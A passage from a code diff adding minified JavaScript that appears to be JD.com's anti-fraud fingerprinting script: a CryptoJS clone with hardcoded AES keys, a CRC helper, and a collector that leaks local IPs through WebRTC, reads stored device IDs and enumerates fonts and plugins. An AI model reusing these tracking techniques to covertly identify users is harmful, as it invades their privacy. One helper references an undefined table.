this.x64LeftShift([0, a.charCodeAt(B + 5)], 40)); + case 5: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 4)], 32)); + case 4: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 3)], 24)); + case 3: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 2)], 16)); + case 2: + q = this.x64Xor(q, this.x64LeftShift([0, a.charCodeAt(B + 1)], 8)); + case 1: + q = this.x64Xor(q, [0, a.charCodeAt(B)]), q = this.x64Multiply(q, C), q = this.x64Rotl( + q, 31), q = this.x64Multiply(q, D), h = this.x64Xor(h, q) + } + h = this.x64Xor(h, [0, a.length]); + b = this.x64Xor(b, [0, a.length]); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + h = this.x64Fmix(h); + b = this.x64Fmix(b); + h = this.x64Add(h, b); + b = this.x64Add(b, h); + return ("00000000" + (h[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (h[1] >>> 0).toString( + 16)).slice(-8) + ("00000000" + (b[0] >>> 0).toString(16)).slice(-8) + ("00000000" + (b[ + 1] >>> 0).toString(16)).slice(-8) + } + }; +} + +var JDDSecCryptoJS = JDDSecCryptoJS || function (t, u) { +var v = {}, + x = v.lib = {}, + w = x.Base = function () { + function g() {} + return { + extend: function (m) { + g.prototype = this; + var a = new g; + m && a.mixIn(m); + a.hasOwnProperty("init") || (a.init = function () { + a.$super.init.apply(this, arguments) + }); + a.init.prototype = a; + a.$super = this; + return a + }, + create: function () { + var m = this.extend(); + m.init.apply(m, arguments); + return m + }, + init: function () {}, + mixIn: function (m) { + for (var a in m) m.hasOwnProperty(a) && (this[a] = m[a]); + m.hasOwnProperty("toString") && (this.toString = m.toString) + }, + clone: function () { + return this.init.prototype.extend(this) + } + } + }(), + A = x.WordArray = w.extend({ + init: function (g, m) { + g = this.words = g || []; + this.sigBytes = m != u ? m : 4 * g.length + }, + toString: function (g) { + return (g || n).stringify(this) + }, + concat: function (g) { + var m = this.words, + a = g.words, + b = this.sigBytes; + g = g.sigBytes; + this.clamp(); + if (b % 4) + for (var c = 0; c < g; c++) m[b + c >>> 2] |= (a[c >>> 2] >>> 24 - c % 4 * 8 & 255) << + 24 - (b + c) % 4 * 8; + else if (65535 < a.length) + for (c = 0; c < g; c += 4) m[b + c >>> 2] = a[c >>> 2]; + else m.push.apply(m, a); + this.sigBytes += g; + return this + }, + clamp: function () { + var g = this.words, + m = this.sigBytes; + g[m >>> 2] &= 4294967295 << 32 - m % 4 * 8; + g.length = t.ceil(m / 4) + }, + clone: function () { + var g = w.clone.call(this); + g.words = this.words.slice(0); + return g + }, + random: function (g) { + for (var m = [], a = 0; a < g; a += 4) m.push(4294967296 * t.random() | 0); + return new A.init(m, g) + } + }); +x.UUID = w.extend({ + generateUuid: function () { + for (var g = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".split(""), m = 0, a = g.length; m < a; m++) + switch (g[m]) { + case "x": + g[m] = t.floor(16 * t.random()).toString(16); + break; + case "y": + g[m] = (t.floor(4 * t.random()) + 8).toString(16) + } + return g.join("") + } +}); +var y = v.enc = {}, + n = y.Hex = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + var a = []; + for (var b = 0; b < g; b++) { + var c = m[b >>> 2] >>> 24 - b % 4 * 8 & 255; + a.push((c >>> 4).toString(16)); + a.push((c & 15).toString(16)) + } + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b += 2) a[b >>> 3] |= parseInt(g.substr(b, 2), 16) << + 24 - b % 8 * 4; + return new A.init(a, m / 2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser 